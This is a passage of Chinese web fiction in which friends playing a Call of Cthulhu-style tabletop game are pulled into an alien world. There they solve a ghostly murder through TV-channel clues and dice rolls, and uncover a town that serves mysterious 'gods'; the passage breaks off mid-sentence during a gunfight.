颜阎问她:“没有这些辛苦你就会早起了?”
铃铛坦率承认:“不会!”
“……那你在说废话。”
铃铛小声问:“你是怎么知道的?”
“不了解你,还不了解关系户吗。”
铃铛接受了她们的诚挚邀请,平生第一次踏入呼叫中心,身边还带着她的哼哈二将:巴莫魁和以布。
康烁影悄悄拉过刘征兰:“这俩怎么也来?”
刘征兰说:“有钱人是这样的。”
铃铛对呼叫中心很好奇,这里摸摸那里看看,对此惊叹不已。她说这可太好了,免费地产,无敌安全屋,温馨小房间!颜阎拿出骰子,说还有更好的呢。
“真跑团?”对她们没指望的铃铛一惊。
“真跑团!”颜阎肯定点头。
刘征兰坐在新装好的沙发上:“你们那儿也有跑团?”
“全宇宙流行。”铃铛肯定地点头,“就是我没玩过。”
“人上人玩什么?”康烁影一顿,“玩我们人下人的话就别说了。”
铃铛抿嘴思考了一阵:“那就没了。”
颜阎的拳头都捏紧了。
为了防止流血事件的发生,几个人迅速绕着桌子坐下攒局。铃铛看她们拿出一盒骰子,非常好奇这种东西的启动方法是什么。颜阎嘴角一咧:“要经过一套完整的祈祷。”
“要说什么?”
刘征兰:“首先,你去零食架上给我们拿瓶可乐。”
铃铛起身向零食架走过去,甚至没抱怨她不早说。趁她起身,颜阎以迅雷不及掩耳之势拿起盒子一通摇晃。在场六个生物集体触电般倒下。铃铛以一个手腕折叠的方式倒在零食架前,望着颜阎和刘征兰,大叫:“报复心……”
黑暗的空间里回荡着她的哀鸣:“太强了!”
她的声音同步传达给了每一个人,所有人的骨头缝里都被她的哀嚎填满了。
所有人都失去了形体,只剩一缕意识漂浮。一个古怪的声音在他们脑海中响起:“请问你是选择自己旅行,还是邀朋友同行?”
刘征兰犹豫了一下,选择自己旅行。
她睁开眼,入目就是一座巨大的悬索桥,远处的水面波光粼粼,在视线的尽头融作一片珍珠似的白光。天空的颜色是一种深邃的蓝,明明是白天,天幕却闪烁着彩针般的星。
各类车型拥堵不堪,喇叭声此起彼伏。刘征兰低头看了看自己——她是由六个漂浮的六边形组成的奇怪生物,六边形之中由一种树状电流相连接。她的车车身窄高,几乎是个立起的橄榄球型。车内没有方向盘,似乎完全由悬在她身体中的橙色盒子操控。
【刘征兰车里醒来。她想知道自己在哪里,要干什么,发生了什么导致堵车,自己今年到底能不能退学。】
“什么声音!”
【刘征兰问。】
“你是谁?”
【刘征兰问。】
“……你能不能不要添加这种没什么意义的心理活动?”
【刘征兰问。】
“……”
【……】
【刘征兰沉默了。我是说,好的】
“你能听见我在想什么?”
【是的。】
“怎么做到的?”
【外星科技,小子。】
“其他人的也能听到?”
【是的,但我不想给你直播,你的朋友心里骂得有点脏。】
【“想必是康烁影。”刘征兰想。】
“唉,宇宙大一统公式是什么?”
【我不告诉你。】
“神到底存不存在?”
那个声音艰难地一顿。
【我不告诉你。】
“那你有什么用?”
【引导你。】
“别人能听见你吗?”
【只有你们可以。】
“你要引导我们干嘛?”
【玩。】
那个声音似乎等了一会儿。
【好了,到你了。】
“什么到我了?”
刘征兰眼前出现一个最常用的六面骰,和盒子里的一套金属骰子一模一样。由于她没有手,骰子甚至是漂浮在空中的。
她不明所以地用一片六边形顶了一下骰子,骰子在地上滚了一圈。
【刘征兰点数:5】
【未到达出门条件,原地滞留。】
刘征兰心中一动:这熟悉的感觉,总感觉在体育课和自习课上体验过。
她向那个声音询问:“这不会是追逐吧?coc的追逐系统多烂你不知道吗?”
那个声音心虚地吹起口哨。
【哎呀……你扔就是了……】
这个星球的时间好似格外快,天甚至都黑了一次。周围的人开始打开车窗向前车问前面的情况。
刘征兰一直沉默,而那个奇妙的声音却耐不住性子,在她耳边念念叨叨。
【怎么不说话了?来聊聊天呗。反正也是堵车,堵车时有人一起说话,是一件多好的事啊!】
【你玩扑克吗?玻璃牌呢?其实五维象棋我也会一点,要不咱们直接扔骰子比大小吧!】
“你是谁?”
【刘征兰问。】
【刘征兰心想:问到关键问题就开始逃避是吧!是的,我承认我在逃避。为什么一定要这么较真,大家享受游戏不好吗?世界只是一场过家家而已!我们要用游戏的心态对待一切!】
刘征兰不想理他,跟这种特别活跃的人说话太消耗心力了。
骰子又出现了两次。虽然不知道它是按照什么规律出现的,但刘征兰都扔了。
【刘征兰点数:2】
【刘征兰点数:6】
扔到6的那一刻,耳边响起了刻意的乐器模仿声。
【嘟嘟嘟!你已经扔到了6,可以出门啦!再扔一次吧!】
啊。
刘征兰想。
就是我想的那个东西。
这是飞行棋啊。
众所周知,coc的追逐和战斗做得毫无体验感,追逐几乎没有,战斗几乎是被碾压。刘征兰甚至曾振臂高呼:“玩追逐,不如玩飞行棋!”
颜阎当时问:“你哪来的时间玩跑团?”
刘征兰答曰:“我没时间,纯抱怨。”
“……你说出去就会被骂死。”
“不会的。这是咱俩在呼叫中心里偷偷说的客厅谈话,天知地知。”
那么有人就要骂了,想玩战斗和追逐,你去玩dnd啊!但是dnd的规则之复杂人尽皆知,一跑团就玩dnd,难度相当于第一次玩游戏就玩银河战士恶魔城。
但刘征兰也没想到,居然真的有人用飞行棋代替了追逐。
刘征兰再一次扔出骰子。
点数:2。
【下面我要来一个暗骰!哗啦啦!哇!】
“……怎么了?”
【嘿嘿。】
前面响起车喇叭的声音,堵车队伍往前挪动的速度变快了。刘征兰的车慢慢跟上去,很快车与车之间的间隙变得宽大,她甚至能一直匀速向前。很快她就到了大桥的尽头,前路霎时宽敞,众多车辆在此分道扬镳开向不同方向,她也能一脚油门踩到底。
可就在此时,前面的路居然又堵上了。
刘征兰正想探头观察,警察却忽然拉起警戒线,告诉所有人前路不通。为了补偿大家的损失,警察主动开通应急车道,刘征兰的速度比原来快了两倍。
【刘征兰踩到同色格子,飞跃到相临同色格。】
……怎么还真是飞行棋!
当天晚上,刘征兰入住汽车旅馆。
这个星球是一个迁氧为主的星球,没有接入星际文明,有自己的历法。科技发展程度比地球好一点,但汽车没淘汰,看起来也没好多少。
但是这里的资本主义发展不够充分。也就是说,旅馆的电视不需要开vip。
汽车旅馆的设备充满八十年代风味,电视机居然还是有显像管的蜗牛造型。刘征兰关上灯,打开电视机当背景音乐,准备躺在床上刷手机。可电视机一直显示无信号的彩条。
按道理来说,现代电视不应该出现这种状况。她伸手敲了敲,打算使用电器必杀技:使劲儿一拍。她的手落下前,电视里的彩条变作奇怪的噪点,闪烁了一阵后,画面分作左右两部分。
左边那部分画面里是颜阎和巴莫魁,右边那部分里面是康烁影和以布,两侧都关着灯,电视的荧荧白光照亮身体,显得所有人苍白如游魂。
颜阎在这里的种族和上一个本里周真真扮演的施施纳一样,都是透明史莱姆,但她说这具身体的触感更像是一种硬质的东西。康烁影和以布是同族,两人都通体雪白,形状如同牙齿。
“铃铛呢?”刘征兰问。
“是我啦。”石头人“巴莫魁”说话了,“我进来的时候可以选择种族,觉得巴莫魁的种族很好玩就选了,你们都没有吗?”
“没有。”刘征兰摇头,“只让我们选了要自己一个人出门还是和朋友一起去。”
康烁影气鼓鼓:“为什么我不能和你们一起啊!”
以布坐在她身后,像一具木头人,没有说话的意思。只有看见“铃铛”的时候,他才微微点了点头。看得出来,康烁影无聊得有点上火。
“凭什么你有选种族的功能啊。”颜阎搂住铃铛身上的石头,“你在这儿也是关系户吗?”
“……你们是不是点太快按到跳过了?”
【看来大家聚齐了。让我们开始吧!我是大家的kp,也就是游戏主持人!】
颜阎皱起眉头:“你刚才有这么活泼吗?”
【我一直这么活泼!】
【目前已经有两组选手成功出门,并且在同一个行动轮完成飞跃。在大家飞跃的时候,有一起杀人案,已经悄无声息地发生了。】
【为了世界的和平,为了还死者一个公道,大家要找出死者的死因!】
“出门?飞跃?”康烁影问,“什么意思?”
谁没有出门一目了然!颜阎阴险怪笑,透明身体扭来扭去:“嘿嘿嘿,等你出去了就知道了。”
说是寻找死因,但是对方也没有给她们线索。难道要出门调查?刘征兰暗自思忖的时候,电视里却出现六个选项,从1到6,分别是:魔镜、灵触、细语、通灵板、测灵器、风向标。
屏幕中,朋友们的脸消失了。取而代之的是一则电视广告。广告是由佐斐那星球,刻石通讯公司发布的,内容是贩卖家庭彩电。广告里的主播热情洋溢地介绍着彩电的性能:“佐斐那目前可以将信息储存最长时间的媒介,是把信息刻在石头上。刻石彩电,记录万物的影像!”
【广告中用红色显示了死者的体型和受伤部位,请大家仔细观看演示视频。】
电视里传来康烁影模糊的抱怨:“藏这么深干嘛?”
广告里的彩电演示视频里有一个红色方形的躯体,刘征兰仔细看去,发现这里的红色并非是本色,而是无数密密麻麻的圆点排列其上。圆点中间的空隙并不规律,完全不是像素低可以解释的。
也就是说,这个人几乎是全身受伤。
康烁影还在嘀嘀咕咕:“哇,我还以为红色是本色。”
什么东西能让一个人全身受伤而死?掉油锅里了?
【下面大家要用提供的六个选择,寻找出凶手、动机、地点、方法和凶器,具体操作在游戏过程中将为大家讲解,每人有一次猜谜机会。】
“如果猜错了呢?”铃铛问。
【那,你们就永远也无法知道发生了什么。】
……还挺友善的。
颜阎先发制人扔出骰子。
【点数:3】
她选择提问凶器。
电视顿时换台了。这次跳到了一个电影频道,里面在放一部黑白的老电影,内容是女演员和混乱时期的剧院。女演员是一个有嘴部的迁氧,正对着屏幕说台词。但不知为何电视里发不出任何声音,大家只看到那张嘴如同一扇小门一张一合:
嘴部放松,微微撅起成O形:——
嘴部咧开,露出一点点牙齿:——
【细语:电视中演员摆出口型,为大家做出提示】
刘征兰盘腿坐在旅馆床上,发出致命询问:“这是中文吗?”
【什么语言的人看到的就是什么语言的口型!】
“还挺细。”
【那是必然。】
刘征兰仰起头思考,这能代表什么?我和一?欧和基?空和集?玻和璃……玻璃?
“是玻璃吗?”
【我可不能回答你。】
刘征兰抽来一张纸,在凶器那一栏上写下:玻璃?
铃铛道:“我觉得是恐惧。”
康烁影扭捏:“我看到了螺蛳。”
“被呛死的?”
“说不定呢……”
颜阎啥也没看出来。她在问那个可疑的kp,刚才出现的电影是啥。
【点数:5】
【测灵器:通过电视上的操作来提示你们】
铃铛要求提示凶手。
电视菜单打开,一点一点往后挪:16台,18台,33台……180台!这是最大的电视台,再往后又回到了1台!
紧接着游戏界面打开,这里只有推箱子、贪吃蛇这样的小游戏。
电视频道定格在某处,
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这是灵异访谈节目,寻找ufo大脚怪雪人之类的东西,目前正在播广告。
“灵异访谈?游戏?频道特别大?”颜阎自言自语,“不会是……不会是鬼杀人?”
“那么问题来了。”康烁影道,“鬼为什么杀人?”
“愉悦犯啊!民间传说里很多这种的。”
接下来是康烁影,她捏起骰子随手往地上一丢。
【康烁影点数:2】
【灵触:在屏幕上写出提示】
康烁影也选择了凶器,她真的很想证明螺蛳没那么离谱。
刘征兰其实很好奇,怎么在屏幕上写出提示。就在康烁影确定的一瞬间,屏幕上出现了卡帧,但这个卡帧很古怪,它并不是一条一条卡住,而是以一个奇妙的弧度出现卡顿。
刘征兰当机立断,高声喝道:“你们看好!”然后把白纸覆在屏幕上,让屏幕的光芒透过纸背,沿着电视上的卡帧描画。
等卡帧恢复,她已经写下两个字,虽然前半部分没有描到,但也算收货颇丰。电视屏幕适时转回多人会议一样的界面。
颜阎和铃铛凑得特别近,都快钻进屏幕里了。颜阎表示啥也没看出来,光看出来是俩字儿。铃铛也说:“我没看懂,太快了。”康烁影和以布还在翻箱倒柜找笔,显然也指望不上。
四个生物眼巴巴看着她,刘征兰叹了口气:“我没写完,这是一半。”
她拿起手上的纸,上书:工气。
“咋了?”康烁影诧异,“杀死它的是土气?”
“至少确定后一个字是气。”铃铛给颜阎当靠垫,好脾气地垫在她下面,支撑她透明的身体。
颜阎把那个口型在心里读了好几遍:生气?对不上。过气?有点像,但是和第一个字嘴型的变换反过来了。供气?又不是榕城谁会供气出问题啊。“供”这个字硬说有工也有,但刚才第一个字明显是上下结构。
上下结构,可以和气组词,是个名词……氧、氢、氮、氩……不行都是半包围……当小学老师的妈呀我对不起你,小学知识快想起来啊!气,气,气……空气!
“空气!是空气!”颜阎一下子从铃铛身上挑起来,“这个人是被空气杀死的!”
康烁影幡然醒悟:“对!你们想一想!这个人的受伤部位是全身,它全身都是红的!说明是全身受伤!只有空气可以办到!”
“下油锅也可以。”
“那很香脆了。”
“太地狱了你俩闭嘴吧。”
铃铛毛骨悚然:“什么人可以用空气让人窒息啊?”
“鬼啊。”颜阎固执己见。
接下来是以布,这个几乎没有存在感的纯保镖扔出了骰子。
【以布点数:1】
【魔镜:以哑剧形式表演三秒】
康烁影怂恿他:“问问地点,这个我们还一点都不知道呢。”
“问问方法。”铃铛在屏幕那边挥手,“这个很方便,演示一下死亡那一刻就好了。”
以布对铃铛言听计行,立刻选了方法。
电视闪烁,所有人屏气凝神,等待着这一次的提示。
频道转入灵异访谈。屏幕摇曳扭曲,某种物体霎时冲破屏幕直冲刘征兰面门。刘征兰在床上一个翻身靠到窗头。那个东西体内霹雳炸响,身体如同一团氤氲的雾气,也像无数电弧构成的闪电球。令人头痛欲裂的嗡鸣凿子一样钻进刘征兰耳中。古怪的雾气在空气中扭动挣扎,尽力铺展开自己的身体,将自己构成一个正方体。这个正方体仿佛在伸出双臂爬行,一点一点向刘征兰靠近。
旅馆里的电器全部失灵,空调时而发出强烈的启动声,时而叮咚一声自己关闭。床头的座机嘟嘟嘟响个不停,走廊灯一开一关,像是在用灯光模拟某种哀嚎。
随着爬行,它的身体萎缩、扭曲,身体里的颜色逐渐变得浓厚。当它爬行到刘征兰眼前时,整个身体已经缩成细长枯萎的一条,刘征兰能清地看见它体内炸开的电光,
然后,它便缩回电视中,不见踪影。
电视信号恢复了。
颜阎和铃铛倒在一块儿胡乱哀嚎,显然没有注意到奇怪的东西已经消失了,康烁影和以布都脸色苍白,木然坐在电视前。
只有刘征兰一息尚存,她不是很怕鬼,此刻脑子急速转动起来。
刚才那个如果是提示,那就是挤压。一个正方体的生物,全身被空气挤压,这就是死因。那么什么会导致这种情况呢?抽真空?修理厂?问凶手的时候提到了游戏,这个是确凿无疑的。游戏,和游戏有什么关系……还有那个奇怪的灵异访谈节目,它出现了两次,第一次和广告有关,总不会是广告员,广告员没有这种权限……不会真的是鬼吧?
鬼?
她想到了一件事。
准备室的那只鬼,其实是什么来着?
这是最后一次机会了。她把骰子笼在手里疯狂摇晃,心里默念着:“1,1,1。”
骰子落在地上。
【点数3:细语】
刘征兰叹了口气。
电视这次又回到了彩电频道,主播还在不知疲倦地进行介绍。但是主播似乎卡住了,它的嘴型在一个字上定格了。
嘴部微微撅起,然后张开,下颌向下沉:——
刘征兰确定了那个字。
“鬼。”
提出鬼杀人的颜阎自己都没想到对了。她语带哭腔:“我今天没法睡觉了!”
最后谁也没猜出来答案。kp幸灾乐祸地宣布全员沦陷,除了刘征兰,没有一个人对两个以上。
刘征兰面色凝重地看着自己的笔记,把它折好放进背包里。
第二天,所有人再次出发。刘征兰扔了一个3,开着自己的橄榄车再次上路,一路上都在听广播。
这个星球的一天是以三次夜晚算,她在车里过了一个夜晚,看了一晚上灵异访谈电视节目。后半夜电视全是彩条和无信号的“哔——”,有点瘆得慌,但她怕错过什么信息,一直开着电视。
今晚,没有灵异事件。
第二个夜晚她扔了骰子。
【点数:5】
速度飞快提升,停在了一个黄花遍地的小镇。在这里碰到了一个身体细长的旅行者。
对方一碰到她,就热情地招呼:“你也是逃难的?”
刘征兰不知道她说的是什么意思,没有回答。
“现在的日子可真不好过。”对方在路边黄色的花丛里坐下,身体拨弄着花朵柔软的花瓣,“你不觉得,任务越来越重了吗?”
刘征兰含糊应过去:“还好吧。”
旅行者神秘兮兮地向前探身:“你不觉得很奇怪吗?各地凶杀案越来越多了,工作任务也越来越重。我老家是煤矿,那里甚至不允许抬头看天,只要抬头就会被处死。”
刘征兰皱起眉头:“这就有点可怕了。”
“所以我跑了。太邪门了,全球各地不允许仰头看天的法律越来越多。各种逃难的人都往外跑,但是我们能跑到哪儿去?”旅行者伸出手,向天空指了指,“要我说,我们就去那儿……”
它止住话头,警惕地四处望了望。
“我不能说了。”它道,“我怕掉脑袋。”
刘征兰和他在花店前告别。对方送了她一张卡片,刘征兰还以为是什么名片,结果打开一看,是一张万能电卡,能免费刷开所有旅馆的可用电和所有电视的机顶盒。价值甚至不如优惠券,但出于某种原因,她还是收好了。
第三个夜晚,也就是一天的结束。
【点数:4】
她和旅行者又见面了。对方看到她喜不自禁,坐在24小时营业商店门口冲她挥手。
两个人坐在一块儿吃了一顿古怪的迁氧速食。旅行者声音柔和,说了很多自己家里的趣事。它还告诉了刘征兰一个旅行的小技巧。
“当天上传来号角,无论你在做什么,立刻停下,跪在路边不要动,千万不要抬头看。”
100.天空号角
做人最重要的是什么?
颜阎会说去死,刘征兰会说美味,而康烁影会说:“爽。”
此人当初没有变成恋爱脑,全凭一腔纯粹的嫌贫爱富之情。如今年芳二九,死性不改,梦想仍是不劳而获腰缠万贯,然后滥用财力全力忘本。
这一次的跑团,她爽得拍手称快,要不是手机不在,她能分十个组发朋友圈炫耀。
她和以布的设定是一对兄妹,是镇上富裕人家的孩子,家里人都不太管他们,只留下三个保洁。他们想吃什么就吃什么,想喝什么就喝什么,想不上学就不上学,可以成天跟学校的朋友们寻欢作乐花天酒地。要不是时不时出现的骰子,她都忘了自己还有走剧情这回事。
这些骰子对她的生活没有任何影响,小镇里也没有出现任何有用的信息。镇子上是最大的建筑是一个飞行器厂,大部分人都在工厂里干活。镇上只有一个学校,学习压力非常轻,因为大部分人都知道自己以后也要进入工厂,所以怀着有恃无恐的心情生活,每天都无比快乐。
而电视的突然连接打断了她的梦游太虚境。
佐斐那星的恒星内常有强磁暴,星球信号很弱,讯传经常连不上网,互联网至今普及度仍然不是很高,晚上看电视仍是必备活动。康烁影当时照常收看电视剧,结果里面突然出现花屏,紧接着信号错乱,电视中出现三位不知名人士。她叫来楼上装死的以布,他挎着个夸张的包走下来,一眼就认出了一边的石头人:“巴莫魁。”
“是铃铛!”
“你在这儿也是关系户?”
铃铛对方跺脚,“你们自己跳过选种族环节居然还说我是关系户!”
经过电视交流,刘征兰还有颜阎和铃铛都已经“出门”了,还有人进行了飞跃,配合电视出现的还有一个贱兮兮的声音。康烁影听都听不懂,一直两眼痴呆弱智状态地猜测灵异杀人案的真相,直到三组人断联都没完全反应过来。
“怎么她们都出门了,就我们没出门?”康烁影拉住以布质问,“你有什么头绪吗?”
以布摇头。
康烁影悲愤:“哥们儿你努力啊,你知不知道你这种情况,要因为行动太少人气太低被当作无实绩啊!”
以布不解,当公务员的经验告诉他,多做多错,少做少错,先别提他压根没法做什么,如果做了,别提实绩,连工作都会没有。但他不能说,和上级领导顶嘴从来没什么好下场。
康烁影忧愁地睡了一觉,忧愁地醒来,忧愁地和朋友们翘课去压马路。这次她和小伙伴们逛到镇口的加油站前,猜测每一辆经过加油站的飞行器属于什么样的人,甚至给飞行器的主人们编连续故事。
加油站的员工是一个懒洋洋的中年人,比起加油,更喜欢摆弄花花草草。每次有车在门口停下,它就骂一句脏话,踢踢踏踏地去拿加油枪,然后再柔情似水地回到花花草草前。
有时候车主给它小费,购物券和现金一起递到它手里。它总嫌弃地把购物券甩给学生们。有一次,车主扔给它一瓶饮料,它骂骂咧咧地把水汽凝结的瓶身丢给学生们喝。康烁影带头跟它说谢谢,它嘴里不干不净地说:“这种事儿你们还道谢,贱骨头,新一代小孩儿的教育果然完蛋了。”
上一代的人就是这么爱抱怨,康烁影翻了个白眼,把饮料丢给朋友。
一辆陀螺仪型车过去了,一辆明黄色光反射车过去了,一辆……深绿色线条锋利宛如赛博皮卡的车过去了。几人沉默一阵,决定吐槽该车灾难般的设计。
天空传来巨大的轰鸣。
那甚至不像是通过空气介质传播来的,而是无数巨大的墙壁挤压推进,贴在她的皮肤上。光线和风宛如被什么东西抽取了一般,产生了某种巨大的爆裂,世界像是被一只巨大的生物攥在手里摇晃。
那种轰鸣声变得愈发响亮,康烁影的心砰砰直跳,像是听见了战争的号角。
她身边的同学立刻拉着她,背对着马路跪下。另一个小声提醒她:“别看了,快看着地面。”
某种莫名的不适令康烁影浑身颤抖,她感受到气流宛如蛇从她的喉咙里爬出来:“发生什么了?”
“神降临了。”
在她背后,传来一种清晰的、湿润的声音,黏黏腻腻,仿佛是在搅拌混合着果汁和果泥的碗;清脆而水润的咔嚓,像是在碗里加入了紫甘蓝、生菜和芝麻叶;响亮的叮咚,是在碗边磕碎了熟鸡蛋;空气挤压的呼哧呼哧,是向里面挤入咸甜适中的浓郁千岛酱。
康烁影感觉自己不存在的口腔里分泌出了唾液,与此同时,她的身体上覆盖了一层薄薄的蓝色片晶,那是这具身体地汗水。
不知道过了多久,它的身体已经几乎失去了知觉,蓝色的片晶从它摇晃的身躯上簌簌落下,那种诡异的压迫感终于消失了。
她和同学互相搀扶着起身,发现周围所有人都在拍打自己身上的灰尘,车主们陆续回到了车里。
“刚才那是什么?”她问。
同学们诧异地看着她:“神。”
“有神?”
同学去摘她身上的晶体:“你吓傻了吧?我们送你去医院?”
“哎呀,我这不是,呃……突然忘记了吗……”
康烁影感到手部的肌肉瞅懂了一下,她暗自捏紧了拳头,感到什么坚硬的东西在手里出现。她瞟了一眼,是两枚骰子。
她松开手,任由两枚骰子在地上翻滚。骰子撞到路边停下,一个数字闪闪发亮。
【说服检定(出目/检定):40/60 成功】
【同学们也被吓得不轻,此时很需要缓解心情。它们抓着康烁影嘲笑了一通,调侃里夹杂着解释。】
【这个小镇是个专门为“神”工作的地方。工厂的飞行器是通过轨道直上天穹进贡给“神”的。慈悲的“神”保佑人们生活幸福,但因为这里直上神殿,也有邪恶的“神”来人间作乱,为求自保,有了不可直视“神”的规矩。】
【小镇的人们从出生开始就被与神结契,不可透露与“神”相关的秘密,否则就会死去。所以外界至今不知道小镇的真正作用。】
康烁影倒吸一口凉气:“谁在说话?”
同学们困惑:“只有我们啊?”
“不,刚才有个声音……”
【不必担忧,我是你的kp。我平时不会烦你,只有在关键时刻才会出现。】
那个声音仿佛是在她心里直接响起。康烁影身上的蓝色片晶将她包裹成一个琥珀般的形状,同学们纷纷安慰她:“没事,没事,神已经走了。”
康烁影心有余悸:“我们回家吧。”
大家也没有开玩笑的心情,成群结队地往回走。旁边的同学让她喝一口饮料,她想起加油站员工的态度,有点不乐意。一开始拉着她跪下的同学拿出一张钞票,打算还给员工。
它把头往亭子里探进去,然后尖叫起来。
康烁影很不幸地看到了那个画面。
一具和她认知中任何生物都不同的躯体,瓷白的块状物碎在地板上,水银在阳光的照射下发出亮晶晶的光芒,蓝色和绿色的晶体组成一张破裂的彩窗。所有东西混作一处,仿佛路边一颗被捏碎的果子。
在一片水银和块状物之中,漂浮着一张购物券。
康烁影疾速后退,身体碰倒一盆蓝色的植物,湿润的泥土中掉出什么东西。她捡起来看,那是一片沾着水银(血)的筹码。
“咱们得跑!”
以布在电视前回头,脚下还垫着他那个夸张的包:“往哪里跑?”
“随便哪里!”康烁影大叫,“反正不能在这里!”
以布蹙紧眉头,他伸出手,缓缓往下压,示意康烁影小声一点。康烁影看到他的手颤抖着,身体的弧度很奇怪。
“你受伤了?”她低声问。
以布摇头。客厅里黑暗无比,除了电视毫无声响,少儿节目温馨的音乐仿佛在黑暗的宇宙中奏响。
“小镇周外被一层看不见的东西挡住了,我们出不去。但是当地人可以出去。”
康烁影眨眨眼:“你全检查过了?”
“我绕了这里好几圈。”
她都不知道,她在挥霍金钱呢。康烁影有点不好意思地眨眨眼:“那我们怎么办?”
以布把头转过去:“等。”
“就没有主动出击的办法了?”
“看电视等?”
【可以去调查。】
康烁影已经有点习惯了。以布却猛地站起来,他的手往沙发下一伸,转眼就掏出来一把冰棱般的刀具。
“谁?”
康烁影朝他摆了个ok的手势:“别紧张,都跑团了,这是我们kp。”
以布的手没有放下去,眼睛仍然死死盯着虚空。康烁影去掰他的手指,却被他一把挥开:“躲到桌子下面。”
【康烁影过个闪避?】
康烁影大惊:“别了吧!”
【我只是来提醒你们一下,可以去当地的医院和飞行器厂过个侦查。】
康烁影其实不懂kp是什么意思,幸好颜阎曾用一个简单粗暴的方法为她做了介绍:“就是剧本杀的dm。”
她完全理解了。
既然是dm,那引导就只是一项工作,没有理由骗她。
康烁影打定主意要跟着声音的提示走。以布不太同意,可铃铛的朋友就是他的上司,他从脚底下拿出那个包挎在身上,跟着康烁影去医院。
此时天空已经逐渐染上了蓝墨水般的颜色。医院外并不慌乱,看来加油站员工的惨状没有波及到很多人。
康烁影坐在前台的椅子上,偷摸扔了个骰子。
【康烁影侦查检定(出目/检定):66/60 失败】
以布把地上的骰子捡起来,也扔了一此。
【以布侦查检定(出目/检定):69/70 成功】
康烁影皱眉:“你侦查怎么这么高?”
“一来就这样了。”
【康烁影和以布注意到,电梯里走出几个医生和护士,它们推着婴儿车,闲庭信步地往一个诊室走去,后面跟着孩子的家人。而那个诊室旁边,有一扇黑暗的小门虚掩着。你们要进去吗?】
康烁影眼前一亮。
她的眼神之诚恳让以布后退了一步:“……行。”
【康烁影潜行检定(出目/检定):2/20 大成功】
【以布潜行检定(出目/检定):88/70 失败】
【那么康烁影凭借她躲粉笔头和抓拍的无敌技巧,钻入小门里,只要不主动出来没人能发现你。】
康烁影前脚刚进去,那扇小门就被急匆匆赶来的护士关上了:“吓死我了,还好没人进去。”
“有人进去你就等着掉脑袋吧!今天加油站还死了个人呢!你知道怎么死的不?”
“不知道……”
康烁影窝在两根长棍之间,有kp保证没人能看到她后,她心中忐忑不安,生怕有什么突然吓她一跳。
此时,诊室窗户里的光成为了她唯一的慰藉。诊室里吵吵闹闹,孩子的父母问家长真的不能跟进去吗?医生说你们要是进去了看到孩子打针不得心疼死,家长赌咒发誓自己不会心疼不会捣乱,医生冷笑着说你们赌咒发誓的人最容易反悔。
诊室的门打开了,光线灌进这个漆黑的房间,婴儿车被人推进来。
康烁影感觉自己倚靠的两根棍子动了动,借着光线,她看到这两根棍子的真身。
那是一双腿。
是一个人类。
穿着防护服,看不清面容。
【暗骰:???】
由于康烁影的大成功,腿的主人把她当做角落里一个纸箱般跨过去,走到婴儿面前。
那个人先是拿出一根针,排空里面的空气,然后……
然后美滋滋地打开了电视,开始伴着广告的音乐哼歌。
电视上面摆放着一个圆形鱼缸,鱼缸上没呼吸口,也养不出活物。但里面收藏着一种颜色古怪的水,在墙壁上还能打下奇特的光纹。
这个人类堂而皇之地在外星行走、工作,没事做个鱼缸收集点发霉水,甚至可以哼着歌将针头插进一块海绵内。
“神是虚假的。”ta说。
话音刚落,海绵便从内部炸开,露出多孔的躯体。
那个人满意地一拍手,将另一个针管扎进婴儿体内。
嚎啕大哭的婴儿被推出了房间。康烁影趁人类转身,飞快贴门逃跑,仗着自己的大成功混进家属里,堂而皇之地走出了诊室。
以布还在外面坐着,康烁影带着他往医院外去,一面走一面说:“医院里有人类,往迁氧的身体里注射东西。只要说了神是虚假的就会爆炸。”
以布忽然转身向身后跑,和她拉开十数米的距离。
康烁影想去追他,他却大吼:“别过来!”
路人纷纷侧目,发现是兄妹打闹,又把目光收了回去。
“你干嘛?”康烁影跺脚。
两个人隔着老远对视了好一阵,以布终于慢腾腾地挪回来。
“你也说了那句话,怎么没爆炸?”
“我是因为……”康烁影一顿,“对啊,我怎么没爆炸?”
她仔细思考了一阵,确定了最终答案:“我是天选之子!”
她信心倍增,美好的心情一直持续到走进飞行器厂前。
飞行器厂犹如静默的巨人般矗立在天空与地面之间。大门紧闭着,看不到任何缝隙。
以布显得非常不安,手指的关节被他掰得咔咔作响。康烁影问他怎么了,他阴沉着脸,死死盯着飞行器厂:“不对劲。这里没有一点痕迹,什么痕迹都没有,只要是生物就不可能做到完美,这里有问题。”
康烁影举起骰子,狡黠一笑:“那是因为你不了解跑团!”
时代变了,康烁影都能装跑团大师了。她把骰子往地上一掷,没一会儿就出现了声音。
【康烁影侦查检定:90/60 失败】
以布诚恳地问她:“了解跑团之后呢?”
康烁影把骰子拍在他手上:“你扔!”
【以布侦查检定:100/70 大失败】
康烁影:“……”
以布诚恳地问她:“这算了解跑团了吗?”
“不许问我!”
“是的。”
kp也发愁了。
【……你们等我想一想。】
那个声音消失了一瞬,那边传来一阵窃窃私语,然后又堂堂归来。
【好的,那么,兄妹二人发现了一个侧门,可以从那里进入飞行器厂,但是二人进去的时候……】
康烁影大声抗议:“我什么时候说要进去了!”
【你们不进去我也有其他的办法让你们倒霉。你们真的要走?】
她只好一甩头,视死如归地带着以布走进去。
【两人一进入飞行器厂,立刻有一个人发现了它们。这里的人警惕得不正常,身上还配备着武器。几个荷枪实弹的员工举着枪支询问它们的身份和来历,但是就在此时,一个人的枪走火了。】
【暗骰:???】
【好了诸位,过个闪避吧。】
【康烁影闪避检定(出目/检定):36/40 成功】
【以布闪避检定(出目/检定):9/80 极难成功】
【以布带武器了吗?】
以布从挎包里拿出了一把长条状物体。一个电线机,一个机械装置,两条长管和绑好塞进去的火药,以及两枚切了十字的窗帘加重坠,一把组装粗糙的枪。
【因为心理问题,你的手颤抖不已,心中爆发出巨大的恐惧,枪术-10。】
他的枪口到处乱飞,左手把枪抵在自己肩上,右手去摸骰子。
【以布枪术检定(出目/检定):22/60-10 困难成功】
【伤害:1D10+1D4+2=9】
【以布灵感检定(san check):成功-1,失败-1d3
65/50 失败
san值-1 san:15/50】
康烁影吓得整个人往上一窜:“不是哥你开枪还掉san?”她仔细思考,往上又窜了一下,再这样下去她都要长个儿了,“你怎么san才15啊哥?你进本就是残血?”
【敌人A 死亡,敌人B 攻击康烁影】
【暗骰:???】
【康烁影闪避检定:11/40 困难成功】
【以布枪术检定(出目
